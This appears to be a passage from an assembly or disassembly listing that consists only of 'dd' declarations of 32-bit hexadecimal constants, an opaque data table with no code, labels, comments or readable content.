		dd 0FE902B7Bh, 67D0F70Ch, 5C080F23h, 41FF0B14h,	6A0D396Fh
		dd 4E3A291Fh, 0FD2ABAE1h, 86088DADh, 50CDF7C5h,	383ED86Bh
		dd 0BC0D3045h, 0E055A692h, 9E90575Bh, 58106A19h, 0F6710412h
		dd 0EB9B331h, 1004EEC5h, 2044605Eh, 89558201h, 0D17A28D7h
		dd 0CBB70F04h, 0BED1E681h, 0BF5AD23Fh, 0D6FA10D5h, 44AE94BDh
		dd 7FCDEF1Fh, 119114E1h, 0D6DC5008h, 8E0B7538h,	0AE07EBC7h
		dd 800380C5h, 2E2301CCh, 90D5ECFh, 208DCD3Bh, 0CD88F68Dh
		dd 5F6E304Dh, 0C715F65Dh, 685A5B10h, 56519278h,	50AE7B44h
		dd 77B48A23h, 1090C898h, 8C980122h, 88D49FDh, 0CB298BA2h
		dd 0CA8888BAh, 0F81D65BEh, 0A304D671h, 0FB4CE3Bh, 0F80D6975h
		dd 0A087B86h, 48648E7h,	18EF5AD6h, 0C745F9Ah, 75514FD8h
		dd 0C70B4A06h, 5EC24284h, 20835088h, 104BC98Bh,	2041311Ah
		dd 49AF2A20h, 622C1F4Dh, 0BFF9101Eh, 2B175016h,	2483CA39h
		dd 3FFFFFh, 0B01485D2h,	0FA461C75h, 7D0307FEh, 0BF048D11h
		dd 0E96380Ch, 58C01CCFh, 0BDF27C23h, 7E2790FCh,	497DE916h
		dd 0FD6920D5h, 4D174F41h, 1830ACA8h, 591F2EB3h,	42A455DAh
		dd 37998458h, 0ED439793h, 784E27D0h, 0B939D31Ch, 14065BBh
		dd 0EFD0172Dh, 5619D04h, 3EF965E7h, 527A0DDDh, 5B19BE94h
		dd 0B23E59BAh, 15F187Fh, 535EC3CFh, 0C827B499h,	14A4ED59h
		dd 5D8A5E1Ah, 8974C842h, 2B811124h, 0CE8B5AF2h,	4085BC42h
		dd 0B543215Eh, 96397F30h, 0FF45594Fh, 0F32570Eh, 0FC3969DFh
		dd 0E6B945D3h, 0BBF2C05h, 0C120210Ch, 0C13B40F8h, 0FFA1289Dh
		dd 289DC814h, 5895DA82h, 284ED613h, 95B60884h, 38B0544Dh
		dd 348930BEh, 4060149h,	5EF5754Ah, 4C4B25EAh, 5F02ABCFh
		dd 52A7ABB9h, 0D26A06Ah, 0F9468441h, 0CA6A2555h, 29937304h
		dd 5B165B2Ch, 997809AFh, 66D5A909h, 7FCF8212h, 540CD711h
		dd 0C497BFD8h, 0E62E01A9h, 0D6F1DA2Bh, 0C855027Eh, 0DBACCE23h
		dd 0B6FE823h, 0AE205B3Eh, 85CB4B18h, 0EC4E1674h, 75EE44ACh
		dd 0F498DC60h, 0EC5B026Ah, 1E08EAF7h, 42E6C159h, 0F7CDF3Bh
		dd 0E7FEC2AFh, 10041F40h, 0EB1ADBB4h, 57BD6267h, 0D54BE661h
		dd 0E079F8E9h, 6470F99Fh, 8BF2BE18h, 481FEA48h,	13D9D30Ah
		dd 0A937D530h, 6647E71h, 20DF40Ch, 0B409C330h, 5DE38110h
		dd 0EBB2E1E3h, 49957C55h, 243086FCh, 0FDC001FBh, 5D404AFEh
		dd 0F4161578h, 7DD3F633h, 5F94A43Ah, 29EF36BEh,	21DC1289h
		dd 0D5D6D6F5h, 12BE3C8Ah, 1A22552Fh, 450EFEB7h,	22620877h
		dd 95595D35h, 7C430109h, 2CE62078h, 264B4F2Bh, 3F0C14F1h
		dd 3B3CEBA0h, 3F7FD809h, 7E54092Bh, 4618C836h, 565013C1h
		dd 3533B0Ah, 0C2869A4Bh, 65243367h, 1B20B234h, 0F5D3F998h
		dd 287C1FE0h, 62CB53AEh, 0A3C7560Ch, 778B8427h,	7473D714h
		dd 0DA28437h, 8F3FF72Ch, 2A658025h, 30A227Fh, 7AA524F3h
		dd 83C192D6h, 7F38129Eh, 1941710h, 1BD9F7CDh, 505E62C9h
		dd 0F1720B30h, 2445D0B5h, 34ED40FFh, 0F836922Eh, 9C08437Dh
		dd 80A6F83h, 5752024h, 6C31A4BFh, 0DF086862h, 0D9D60189h
		dd 0D9903B70h, 0E202CEBh, 0FE256592h, 0BF712689h, 0D5CA0D57h
		dd 0D0A24450h, 3CA2EF20h, 240A3FD4h, 885D2DC9h,	7752123Dh
		dd 0BEF547EEh, 0D84ABB38h, 17E0054h, 853006C6h,	0F2C7FEDBh
		dd 6B589F1Fh, 52973379h, 25D8B7D5h, 4144BE75h, 885A1630h
		dd 3503FF10h, 5EE97508h, 8E08F16Fh, 0E7127C50h,	0D543539h
		dd 0E8BE1DFEh, 22409FDFh, 0FE70F5EBh, 31613EF8h, 442FF18h
		dd 9D5712F0h, 3BF143ECh, 0F35A41CAh, 705689FAh,	9D575205h
		dd 595D3E83h, 423787FCh, 0B578C868h, 1118609Eh,	71FC8B41h
		dd 0C16673A5h, 0A3734939h, 7C2FB2F0h, 5878318h,	67157FCAh
		dd 0DF5F0BE8h, 0FA2E685Fh, 0C70BCFECh, 0CC0DF46Ch, 1CB809CAh
		dd 74EB5E13h, 6658C823h, 61742F4h, 7584FFBFh, 64254F82h
		dd 0F1C14CCFh, 5BCF2316h, 34C72E24h, 0D9D0C212h, 5A7144D7h
		dd 5B5B525h, 5481BFCFh,	147B1374h, 0B938281Ah, 9CE93C27h
		dd 77E932BFh, 8C23215Ah, 0A5D3A312h, 0AF8853BFh, 79668E23h
		dd 4BEB320Ch, 0E229014Eh, 2C8A6303h, 1C0815AEh,	43C85B0Bh
		dd 0E78487B5h, 0A957BBE2h, 0CECB0403h, 8E561DABh, 0DA80C903h
		dd 0B1FEBC1h, 0C8DD905h, 40058912h, 53AFC781h, 0EBB3047Bh
		dd 0B13D1DFh, 489A89CFh, 64F97408h, 0D38AA802h,	63962EAh
		dd 14E5315Fh, 3A850E0Ch, 1597F24Ah, 4DEAF8A1h, 0E4142D2Bh
		dd 2DB842A3h, 16218809h, 5E33A427h, 680BCAE8h, 62C94F1Ch
		dd 87A31210h, 35C6C318h, 0D612860Fh, 8A5884C8h,	0F6266E6Dh
		dd 749359CDh, 6C3884F6h, 4987601Ch, 3C9D9FE3h, 0A4E6A18h
		dd 16DD08C9h, 64C0F8Bh,	315F0FEh, 0A2B11DCDh, 0D9EA04D2h
		dd 0F8A60256h, 0F2DD064h, 64245AB6h, 0BA84244Ch, 4F751188h
		dd 0A09EC41Ch, 8C900ECFh, 92450416h, 7F230383h,	0F998953Eh
		dd 0C4970175h, 9810B70Bh, 0B86BFFCh, 0D5C06842h, 9FEDEE57h
		dd 0EA6781A5h, 681326A2h, 7ABDA560h, 0A0A3BAA4h, 7250742Ah
		dd 0F011A468h, 0A308A13Ch, 0A97AC0C1h, 0F04320Bh, 0B70C88A1h
		dd 0D0FF1685h, 0F24796BAh, 1104A129h, 1253050Ah, 0C8D0DE25h
		dd 1522B204h, 18FD4E8Bh, 9FF8EBB4h, 817FC66h, 0A1E0AF0Fh
		dd 57E019FEh, 2E771689h, 0BBA47DE9h, 4B7794B4h,	3D72EB58h
		dd 3000DA1Ah, 771DA005h, 7E97502Eh, 4C755097h, 9BB60D98h
		dd 8CEE1A92h, 1C8E12D4h, 69FFA3F8h, 93F1221h, 0CF770865h
		dd 24750956h, 42CB6C77h, 19DDDE1Bh, 0D7568BD6h,	2B503DAAh
		dd 560A44BDh, 92B1ECEBh, 356C2F5h, 0BF5E9485h, 8744D1D8h
		dd 40F62F85h, 0D94C41Dh, 3BAA8595h, 5078D8F2h, 2A14BC47h
		dd 0FE24177Ch, 19B05034h, 590DA891h, 0E1247E83h, 2FC8F76Fh
		dd 9C5AD3BCh, 3A7F2DB8h
		dd 0F505DE8h, 3B270390h, 6407DE1Dh, 0DFEE2415h,	44F60F0Ah
		dd 0D3E033C8h, 7FD08AF9h, 8D98EBEh, 1324FB3Ah, 183DFC84h
		dd 5BD62A91h, 0A22BEED2h, 5E6F7EFCh, 0AE8D4731h, 6E7FF009h
		dd 0E151B5D5h, 4D273320h, 14A77178h, 3BC1930Ch,	42027DF8h
		dd 2A9350A4h, 67FD53BAh, 4A08956Fh, 0D7EB180Fh,	9FDA2B2h
		dd 750A7505h, 7896DA16h, 4E212F2Eh, 25EF582Dh, 0CB627D40h
		dd 9208111Ah, 0AA300B06h, 33E1BFABh, 80EA1404h,	0F61BDE23h
		dd 19AF08D6h, 4A154843h, 0CD8D4A45h, 0AAD242Fh,	5AD0083Eh
		dd 0EB5FE081h, 0C0693A0Dh, 0E1974038h, 0D9A37AC9h, 319C02Eh
		dd 72CA3B32h, 73CE42F7h, 33C1FDD2h, 0A895E10h, 2D97F77Eh
		dd 3786E97Ch, 106936C9h, 1725BFD5h, 14AD63FFh, 1430FF54h
		dd 46F103B3h, 77174708h, 56184A77h, 727817E7h, 56C6D674h
		dd 9F3078BCh, 3CE3CE0h,	0D6BCF65Ah, 163F3417h, 0F1A60FC6h
		dd 3F71E8D7h, 4709FD7h,	0D14BEA5Fh, 68C6F4E1h, 3650E62Eh
		dd 0F25E93FDh, 0E66C0CFBh, 0B19E93Ah, 81D89CEh,	19BFE7F1h
		dd 36C9EA2Eh, 0FDE74056h, 99F76F5Eh, 0ACD8164Eh, 0FE33256Ch
		dd 0C1561309h, 1404ED2h, 53C81389h, 806C104h, 2B575176h
		dd 0EF3C5F4h, 0A5F07D8Dh, 0E623E53Fh, 53BD8043h, 443BBD06h
		dd 10A4220Ah, 5C95429Ah, 0BE0FC34Fh, 213C8068h,	0C8D0DF52h
		dd 6FA3CD3h, 0C8B6752Ch, 0AC395F37h, 92BE2885h,	4CC0C164h
		dd 43508910h, 859F03A8h, 1FFAEE98h, 9CD2685Fh, 0FE81A0A2h
		dd 827389FFh, 0D3EB03FEh, 4F1076BEh, 49106499h,	0FF3D9166h
		dd 66C5F951h, 5EBAE2BDh, 0A70A80E5h, 0F95C2512h, 0EE1019FFh
		dd 4E4F6CA4h, 5AC0DC04h, 0E80C88ABh, 0C4FCA97h,	81DC068Bh
		dd 4D402E0h, 10E408D0h,	0E9EC3FF8h, 87A3575Eh, 0B3A7420h
		dd 0E70AA009h, 0D0205E9h, 0EB4729E0h, 46AE702h,	0C01F8A5Eh
		dd 120BF86Bh, 0B477870Fh, 8513245Fh, 34005943h,	7C31FB80h
		dd 390AC20Ch, 0B1C2077Fh, 3A47DEE0h, 79F32BE3h,	22051E64h
		dd 5D447D72h, 1E742B0Eh, 0E133D48h, 0D4C123BAh,	45357961h
		dd 0A7F6AD5h, 41CED837h, 2EA7EB58h, 20B367B5h, 9F409E12h
		dd 7C31F0A2h, 0AE7EA505h, 0E86E4B49h, 33229B06h, 2D0A318Ah
		dd 30072CAAh, 430052A4h, 2898E0Fh, 7E4518A0h, 0C8631240h
		dd 65677B1Ch, 15728F93h, 7E066A13h, 0B2A4F3Ch, 45A68408h
		dd 564C9609h, 5863B584h, 9D196859h, 1B50894h, 55C28B0Ch
		dd 0FDF96544h, 3F0D8639h, 45E17E4Ah, 9D6FC821h,	5A42404Dh
		dd 71970EEBh, 0A8DFEB64h, 0F825D6C1h, 731910D5h, 0DEFD4A10h
		dd 30EB800Dh, 4277E60Ch, 82A7502h, 0B7A4BF2Ah, 8467E50Bh
		dd 5B5B5B45h, 6C3BF86h,	750D75DCh, 89019AEFh, 714EF328h
		dd 11191CA2h, 0E88B6D1Ah, 4AB94702h, 0AD40423h,	12222D33h
		dd 45EFC501h, 0ED5E2683h, 0F55A6185h, 0E025E859h, 248D57A3h
		dd 498CFE4Fh, 0C48CA30Ah, 0C6C89D44h, 24376424h, 86A0101h
		dd 0B29465EBh, 58ACDE0h, 67F64683h, 0F28C0F12h,	6C06AF35h
		dd 3113E98Fh, 7C290AEBh, 7F21870Eh, 58226A09h, 830A464Fh
		dd 0C1EBB131h, 7494916Ah, 0DAB5B32Ah, 0DBBB6FFFh, 6BC014CDh
		dd 83894AB8h, 748A25Fh,	82FA858h, 0CC4F0AE3h, 0A55A80C7h
		dd 63A89512h, 0DF4B24DAh, 1A481112h, 339C61EAh,	1FA32FF6h
		dd 719F1CACh, 0FCB61C80h, 0FE1981C0h, 7F7A1450h, 0E2BEC34Ch
		dd 0A819D651h, 0A94A435Eh, 4FD03811h, 0F936C27Eh, 19AC8454h
		dd 84387E32h, 6A41D9A4h, 20395818h, 150076A8h, 5BB7D80h
		dd 0F7FE037Ch, 7C907DDAh, 219A48F4h, 13D2EB7Fh,	860F1220h
		dd 8755D6A5h, 9B570988h, 0F2372DD0h, 0A45D91F7h, 0F12F1A2Fh
		dd 84DBE561h, 0C933E456h, 15B554EEh, 0F78D7D3Fh, 964803D8h
		dd 9519E014h, 0DC021810h, 1C822B07h, 7EC2903Dh,	45CB730h
		dd 0A7E47E6Bh, 43FA2B5Dh, 0D4C824EEh, 33600265h, 11DAB8DBh
		dd 0B4B33B4h, 9F5C5073h, 3D5E9890h, 0CBBFB074h,	0D0201056h
		dd 0E4349E01h, 8FE4A9ABh, 7A0E0D02h, 0C29220E7h, 0C6CAC640h
		dd 72B5EBFBh, 0F6408697h, 0ACABF496h, 493C80Ah,	0C8AE1544h
		dd 17A50F22h, 4D8587A1h, 0E3800B08h, 7371895Fh,	2592E06h
		dd 0A410C9Ah, 0A2BAEC92h, 12A1115Dh, 12F8550Ch,	48B20964h
		dd 563788DCh, 0E422AE11h, 44572E20h, 7C89920Dh,	5B2B4812h
		dd 97451738h, 0C80978F4h, 2FC851BEh, 0B840E692h, 0C93A8566h
		dd 3223C857h, 24E508CCh, 91E748E6h, 44E922E8h, 0EC89EBEAh
		dd 0EE22ED12h, 3FEF02FBh, 4AF0EED5h, 3EEFCD0h, 0EB2D0243h
		dd 830D4A04h, 98090CC8h, 0E11E75D2h, 873B1AB3h,	0E31597E6h
		dd 18852383h, 1030819h,	9A300480h, 0FD4B136Dh, 7A25A066h
		dd 80B2A7BFh, 0F03C7A2h, 0E3D3F8CFh, 0F70F1F5Ch, 0E0402BF2h
		dd 0B48468FBh, 46EB0ABAh, 15748497h, 5F06ED81h,	221D1D84h
		dd 7C682E85h, 670F1A0Ch, 1DEC8423h, 23746833h, 99B45F8Dh
		dd 5D19200h, 694019F2h,	6C682BD6h, 0C006C41Dh, 0B70FE181h
		dd 0CF4B9490h, 18E92200h, 0B410C069h, 0EE8B3C55h, 645D6608h
		dd 0C8D1298h, 555E004Eh, 4DC96BFAh, 0F67D7DECh,	9301B43Fh
		dd 46F4BCEDh, 0A0FE4AC1h, 0F13F2CEh, 3A13C6BFh,	65BC85FBh
		dd 66D140DDh, 0FFFA7D81h, 82723F25h, 0B046E421h, 71EE4D19h
		dd 57F64C59h, 33900131h, 7D677074h, 36D1464h, 547F7CF0h
		dd 67499108h, 0C58323EAh, 0F7C7EA15h, 86055F45h, 8FBFA75h
		dd 0FB373FADh, 22AE78ABh, 4686081Ch, 0CA804326h, 75591C02h
		dd 1FC5EF1h, 81DEF717h,	150422E6h, 861D0D7Eh, 58364EAEh
		dd 12AF3F3h, 122A2DAh, 507E1C9Ah, 0FA14FA60h, 90F07375h
		dd 0A3A57112h, 50E2B425h, 8CF0990h, 228A0D35h, 938AE716h
		dd 0CA4B8BFBh, 94F28FDh, 0A430444h, 88021EE4h, 0D6B67501h
		dd 1C8A1636h, 8080B962h, 4B8D35F9h, 30047C04h, 0F72C13Bh
		dd 622E6A9h, 0F1EB4813h, 400B4DA9h, 8E0EFF66h, 2CC32A03h
		dd 544288B2h, 80C008C0h, 4186416h, 90FB29BBh, 30250C61h
		dd 0F46417F2h, 4DBD95Bh, 80300972h, 0C95D0563h,	0B96FD385h
		dd 0C7D89DCBh, 0C95974D8h, 0A4DD4609h, 30F41E1h, 100A3CCAh
		dd 0B5063F2Ah, 0CDBF2E18h, 2F5A40AFh, 145B358Bh, 5B8950Ah
		dd 1A34EB0Ch, 8EB8410h,	9188127h, 571A10D6h, 33068791h
		dd 0FF70708Bh, 0BEF41CEh, 900C3890h, 0FE830905h, 0CD38FC01h
		dd 7BBE6C9Ah, 53C7A8BEh, 4A3B508Ch, 0F708BAF9h,	24DF4B0Bh
		dd 22EB1D1Bh, 68E2580h,	0E157361Ah, 0D43A153Ah,	0C032EAA5h
		dd 2605298Ch, 89BB08h, 0A1283986h, 0D6B02BD0h, 0F20DA7EBh
		dd 1E7D0441h, 0EC40148Dh, 0E5E14F32h, 2283258Ch, 0C0BC206h
		dd 0F7F77549h, 9208585h, 0FBD60E4Bh, 0E28D651h,	7D83874Eh
		dd 7891EAEFh, 80A8A13h,	0F2A77B89h, 0A2A3F6E9h,	5BAF0429h
		dd 6CEA5684h, 10875CFBh, 3205A816h, 0F4905039h,	82FCB675h
		dd 0FD127514h, 7370BFFEh, 393CB75Ah, 8A8054EAh,	0BD08D24Ch
		dd 0FC3E3C9Dh, 254627B4h, 81E0D609h, 0F80575A7h, 0EB0D7FE1h
		dd 167C810Dh, 0FDD9E56Ah, 0CAC9FD11h, 888318DEh, 8725660Ah
		dd 3AC0364h, 163CCB5Eh,	0EFDB0AEBh, 244C324Fh, 66E76C5Eh
		dd 8B0A4BE2h, 0EC04418Bh, 0E4CC4169h, 0DAB84626h, 92BAF92Eh
		dd 23F83340h, 28CAE4C2h, 357EE781h, 9243D66h, 6B210146h
		dd 0DFB8830Fh, 0BAC3215Ah, 0AD16217Fh, 0BFFDFA87h, 33A287B2h
		dd 7A773FD1h, 0E33A6092h
		dd 0CB8AAE30h, 52787F02h, 56FB85B5h, 2C89E3A1h,	0F074639h
		dd 0BB06570Bh, 4F8D7A76h, 0A42A20E8h, 1FA11EF7h, 39160053h
		dd 113ACE43h, 5D8B03ABh, 0B4A91BFDh, 5B50F4F4h,	566A2409h
		dd 111AF898h, 8B31050Ch, 2BC00320h, 7E1492E8h, 124CEA49h
		dd 0E0D10825h, 4D4A763Fh, 0B46489FAh, 1CEC1218h, 63090667h
		dd 181DC1AFh, 857983FCh, 31FF5051h, 68B86E3h, 1AD41929h
		dd 0A10256B3h, 0C0D2F46Dh, 6675E866h, 12FC1AC8h, 0C18B0D9h
		dd 9C7F5940h, 292A081h,	2C0BB9C0h, 257E8BD5h, 80E74182h
		dd 0C275C58Bh, 10A3D33Eh, 141ED108h, 8A07E27Fh,	0E681639h
		dd 682BAEB9h, 920C1E35h, 0EB8B0A01h, 16DC7C9Eh,	0EC448274h
		dd 4BAE41B0h, 0EA6530B8h, 0F8FCEC4Eh, 0B7CB389Ah, 77230FAFh
		dd 3E4B8B0Fh, 0DFEFD87h, 0A8C1A3Dh, 0DE423575h,	0C3B942BDh
		dd 0AA1EB58Ch, 1D14E299h, 57196E07h, 4146A8E6h,	87DC31ABh
		dd 2152BD0Eh, 10CA06B1h, 0ADF4BEEDh, 0DEA723E2h, 0A733548Bh
		dd 871B5E73h, 0C70BD25Bh, 0A80EF6E1h, 4E323B10h, 6E40C02h
		dd 0D9A11E06h, 0F7368EEBh, 5DFF8BDFh, 2ED78E2Ah, 0C736BBF4h
		dd 832C6408h, 7E0B4426h, 0EE9CD708h, 38BB5309h,	0FEEEAFD8h
		dd 3960EBC4h, 63741680h, 8645BE7Dh, 28D998BBh, 0F5F55AB5h
		dd 0E2101752h, 0FC710F84h, 411122E8h, 830B5756h, 0A45054C3h
		dd 2FCB034Ch, 2E987007h, 979A8D27h, 0C23D1A81h,	0C7AD1463h
		dd 0F47DE185h, 6402A8A5h, 61C5F64Eh, 9F5D56E9h,	7F7EC89Bh
		dd 2DFEC34Bh, 6EF96B92h, 12F18B13h, 3405521Eh, 16A7EF0Bh
		dd 8B1BFC49h, 0C9811ACEh, 0E8092FB3h, 566906C2h, 127944Ch
		dd 6C70C4Eh, 405B2C90h,	40D27719h, 55F345FFh, 9B84EE64h
		dd 0B87CD0EAh, 2D9D7688h, 0DD895062h, 0E257BA50h, 78D8468h
		dd 5F8506F8h, 7441459h,	6AE2B80Ah, 4022313Bh, 0B7CC651h
		dd 7D56F01Ah, 0C71907D4h, 5350AC12h, 0AADD5402h, 48DDD4ACh
		dd 51025068h, 6468B04Dh, 8D5AA01Ch, 0C9C610F6h,	216A849Dh
		dd 0C7D16851h, 103089EEh, 56B8BAD5h, 6C5075F4h,	0F3EAC130h
		dd 0BCB06850h, 42ADC837h, 6E902AA7h, 90F3457Ch,	0FE81C420h
		dd 9F801068h, 3F66453Bh, 42875542h, 15F57C20h, 0B54EA7FFh
		dd 70234F24h, 0D2AEC87Fh, 7E6B0623h, 0B80ACC8Fh, 46E94818h
		dd 0CAF1761Ah, 4584F090h, 53E1D1Ah, 7C570CC7h, 0F915F42h
		dd 877752D0h, 5D29CCC4h, 182B02F2h, 82A15645h, 28A52A10h
		dd 608DD827h, 0B868D051h, 0A2EB838Eh, 2EA832CCh, 2DFCD35Ch
		dd 51CC833Ch, 1BA8E47Ah, 3DABF868h, 1A649DECh, 68DE081Eh
		dd 8211DEB8h, 0FFB01068h, 726C1025h, 5AA40C20h,	0C0E93471h
		dd 0C750A3Ch, 0F7A718B9h, 8387FB09h, 0EC176E05h, 8953F1F0h
		dd 0C4163962h, 4E90A310h, 4D180BEEh, 74252F52h,	579F090Bh
		dd 86555929h, 0B617036Ah, 0FF4B3F8Eh, 0F20EC15Bh, 8309A1DAh
		dd 0F0F009FBh, 80050D76h, 804257C3h, 1988300Ah,	3FF68541h
		dd 21B8DA77h, 178A490Eh, 11EE014Fh, 4720074Fh, 0F272F93Bh
		dd 94BF5BB2h, 75531376h, 7FCDAF3Ch, 0E719FB70h,	775A8686h
		dd 412C0D09h, 0C30CB472h, 0B8022420h, 0DD5A703Fh, 22419C25h
		dd 7D20C025h, 74DB9B10h, 3B3A3775h, 0EBCE89D8h,	2526D130h
		dd 581BAC57h, 50463906h, 0C12EF152h, 71A31E4h, 3394F747h
		dd 105F4B59h, 0DC303040h, 0C8B70FF2h, 2BC306C1h, 0BD2A5BC1h
		dd 1E529D75h, 0BACF74ABh, 3BED7434h, 0AD560B13h, 0B1A3D72Fh
		dd 0EC221948h, 254166BDh, 9AD55107h, 214A4C3Bh,	12D29054h
		dd 17F4621Ch, 3DF1AF1Ch, 0FB08F192h, 37FF8AF4h,	0A5C9507Eh
		dd 0C7F8595Bh, 0A348190h, 0C782282Eh, 48B64DB0h, 3D0A804Dh
		dd 6996F896h, 746EA25Ch, 21DA7425h, 0A3137148h,	0EB0D4931h
		dd 43F75E06h, 83094A31h, 0F1A80879h, 9740146h, 580471FFh
		dd 42BFC3A2h, 22A5C6EFh, 0F4977CFCh, 68575117h,	10BE0902h
		dd 8254AE7Dh, 5BA5F3E0h, 0C17227E1h, 0CEA3F44Bh, 0E04BE420h
		dd 0B8DA54ECh, 92C6D15Dh, 0A8FB8D51h, 0B127A32h, 64B8C9C0h
		dd 0CA4611A2h, 0C9D65248h, 34D02D4Ch, 10916B8h,	72551473h
		dd 5802176Ch, 1B79E26Fh, 387B6606h, 0AE4F6A34h,	0FB0CBF26h
		dd 1A13FE15h, 56C838EFh, 821C3640h, 4742903h, 0D1FE0D25h
		dd 0BE7D4542h, 0F6028E7Eh, 0C0203539h, 5918FF13h, 465708BFh
		dd 0D0208E56h, 99DD489Ah, 1CE6578Eh, 203D8943h,	42752347h
		dd 20303F58h, 14384C0h,	583044E2h, 4AC832Dh, 7548013Ah
		dd 2E8687Bh, 5B744B31h,	57A657DAh, 0A45FEC6h, 0EC8E166Eh
		dd 25E4A884h, 4BD30CEBh, 5FE5F692h, 0AEEB1B2Ah,	5DB2AEBCh
		dd 0FFE05140h, 72571CA1h, 4FB6D311h, 34E25B24h,	4BD68BCBh
		dd 0C2BAD412h, 0C7DF95A2h, 49DB2D33h, 0F6E271EEh, 0DE73023Bh
		dd 53576074h, 0DA2F5695h, 0DF64B729h, 81B41C4Bh, 0BDCCB0C6h
		dd 9A7E0D42h, 7F1857B2h, 2214B8E5h, 0A81C3FBDh,	6EB79504h
		dd 0F892D669h, 9810E43Ch, 8BF75195h, 7C02EB66h,	6FB75EF5h
		dd 0EA0F1273h, 0DF09E892h, 0F976740Eh, 0FA27675h, 2B1A8675h
		dd 0F8D12D45h, 511378F3h, 208CAC2h, 8893474h, 0C4109025h
		dd 0D2BF025h, 20BA8C4Eh, 23EB41D3h, 0FC1D8C99h,	0B84E4778h
		dd 0C1588517h, 5AF7A2AFh, 63E95C1Bh, 0C4D663Ch,	1E8085Eh
		dd 48A28B48h, 24A1893Fh, 0FE5426ABh, 0CDF8C712h, 0C25721EAh
		dd 2431014Ah, 17266A37h, 61E4F364h, 1D0C745Ah, 187D2184h
		dd 3344E6Ah, 0D9C2E24h,	0ECB78C18h, 789BB57Fh, 66657DDAh
		dd 8413D4C5h, 6F772DEAh, 0D421F5DFh, 0F5D682B6h, 2E26EA2Fh
		dd 0F95592CAh, 0C390694Bh, 559C8789h, 36448D09h, 0B599702h
		dd 9ED40BEBh, 1381F6F2h, 0C7342255h, 0FFB5B25Fh, 3C8D4D01h
		dd 1F34CC09h, 0E48B790h, 4E0A63BEh, 460C49FEh, 0BEEBD834h
		dd 3835C72Dh, 197E3491h, 3E101974h, 9D129274h, 0C6C5CFD4h
		dd 3E9A17E8h, 0CCC74747h, 0F54D8D12h, 0A306F142h, 8372476Ch
		dd 27B30152h, 88764608h, 24B8C316h, 40657ED0h, 0CCFBC201h
		dd 0D142CA1h, 0CEE41090h, 1D7F0AB8h, 0C308AEFh,	0B6EC78CCh
		dd 90B8420Dh, 602312B3h, 80280AE0h, 4A4CF124h, 10F02312h
		dd 3672A470h, 5AE114D0h, 60EB01h, 0
		dd 7501A500h, 309658h, 612C7707h, 51BAEE0Eh, 19990907h
		dd 8FD06DC4h, 706AF4h, 0E963A535h, 9E6495A3h, 0DB883200h
		dd 0DCB8A40Eh, 3D1E7E79h, 0D980E0D5h, 4C2B97D2h, 0BD0009B6h
		dd 77EB17Ch, 1E7B82Dh, 90BF1D91h, 0D8B71064h, 0B00020F2h
		dd 0B971486Ah, 41DEF3h,	0D47D84BEh, 0E4EB1ADAh,	516DDD0Fh
		dd 0C7F420B5h, 83D385h,	136C9856h, 646BA8C0h, 62F97A00h
		dd 65C9ECFDh, 5C4F008Ah, 6CD91401h, 3DE26306h, 0F5FA0F00h
		dd 0C88D080Dh, 3B6E0020h, 4C69105Eh, 600141E4h,	677172D5h
		dd 3E4D1A2h, 0D447003Ch, 85FD4B04h, 6B03D20Dh, 0FAA50AB5h
		dd 6C35A8A8h, 42B20098h, 0DBBBC9D6h, 0BC1FF940h, 0D840E3ACh
		dd 0DF5C7532h, 0DCF0045h, 3D59DCD6h, 0AC07ABD1h, 3A26D930h
		dd 8051DE01h, 0C8D7C8h,	0BFD06116h, 21B4F4B5h, 0B3C42300h
		dd 0BA959956h, 0A50F07CFh, 209EB8BDh, 88082802h, 0B25F0500h
		dd 24C60CD9h, 0B10B00E9h, 2F6F7C87h, 68004C11h,	611DAB58h
		dd 2D3DC1h, 4190B666h, 710676DCh, 0BC01DB00h, 2A98D220h
		dd 0EFD50710h, 0E0B18589h, 6B6B51Fh, 0BFE4A500h, 0B8D4339Fh
		dd 0C9A203E8h, 0F9347807h, 0A88E0F80h, 18960900h, 0BBE10E98h
		dd 7F6A000Dh, 86D3D2Dh,	64006C97h, 635C0191h, 7151F4E6h
		dd 61623E6Bh, 30D81C81h, 0C34E8565h, 95EDF2D0h,	7B00067Dh
		dd 0C11B01A5h, 8208F4h,	0F50FC457h, 65B0D9C6h, 0B7E95000h
		dd 0BEB8EA12h, 887C008Bh, 1DDFFCB9h, 490762DDh,	0F315DA2Dh
		dd 658CD3D0h, 0FBD4014Ch, 4DB26158h, 3A2D20CEh,	0BC007470h
		dd 0BB30E2A3h, 6A541D4h, 95D74ADFh, 0C400C4D8h,	0F4FBA4D1h
		dd 6AD3D6h, 0FC4369E9h,	46346ED9h, 0AD678800h, 0DA60B8D0h
		dd 42D0073h, 31DE544h, 4C005F33h, 7CC9AA0Ah, 1E3CDD0Dh
		dd 43500571h, 10270241h, 86BE0B88h, 0C90C2000h,	5768B525h
		dd 6F853DB3h, 66D40900h, 61E49FB9h, 0F90ECE00h,	0C9985EDEh
		dd 22293AD9h, 0B4B0D080h, 17C7D7A8h, 59B33D07h,	2EA00D81h
		dd 0BD5C3Bh, 0BA6CADB7h, 0B88320C0h, 0B3B6ED01h, 0E20C9ABFh
		dd 0D2D403D9h, 397401B1h, 0AFEAD547h, 159DE477h, 4DB2600h
		dd 73DC1683h, 630B0012h, 643B84E3h, 6A073E94h, 5AA80D6Dh
		dd 0CFF07A57h, 79DE40Eh, 279309FFh, 0B10A00AEh,	7D3D079Eh
		dd 0F00F0044h, 8708A3D2h, 1F20068h, 6C2FE1Eh, 57005D69h
		dd 67CBF762h, 0F718065h, 0E7196C36h, 766E6BE0h,	0FE00D41Bh
		dd 89D32BE0h, 0DA7A5Ah,	0DD4ACC10h, 0B9DF6F67h,	0EF0EF971h
		dd 63438EBEh, 0B0D517B7h, 38E860B0h, 7E80D6A3h,	0C4A1D193h
		dd 3800D8C2h, 4FDFF252h, 0FBBB67F1h, 0BC57CCh, 0B506DDA6h
		dd 0B2364B3Fh, 2BDA4800h, 1B4CD80Dh, 0F6AF0F0Ah, 60C0034Ah
		dd 0C341047Ah, 0DF39EF76h, 0A8671D55h, 316E8EC0h, 69BE79h
		dd 61B38C46h, 66831ACBh, 0D2A0BC00h, 0E236256Fh, 95520068h
		dd 3CC0C77h, 0BB000B47h, 220216B9h, 305262Fh, 0BA3BBE55h
		dd 0BDF828C5h, 5A0092B2h, 6A042BB4h, 0A75CB3h, 31C2D7FFh
		dd 8BB5D0CFh, 2CD99E00h, 5BDEAE1Dh, 64FCB0h, 63F2269Bh
		dd 6AA39CECh, 930A7500h, 6A9026Dh, 3FF609h, 85EB0E36h
		dd 13720767h, 5005770h,	95BF4A82h, 0B87A14h, 0B12BAEE2h
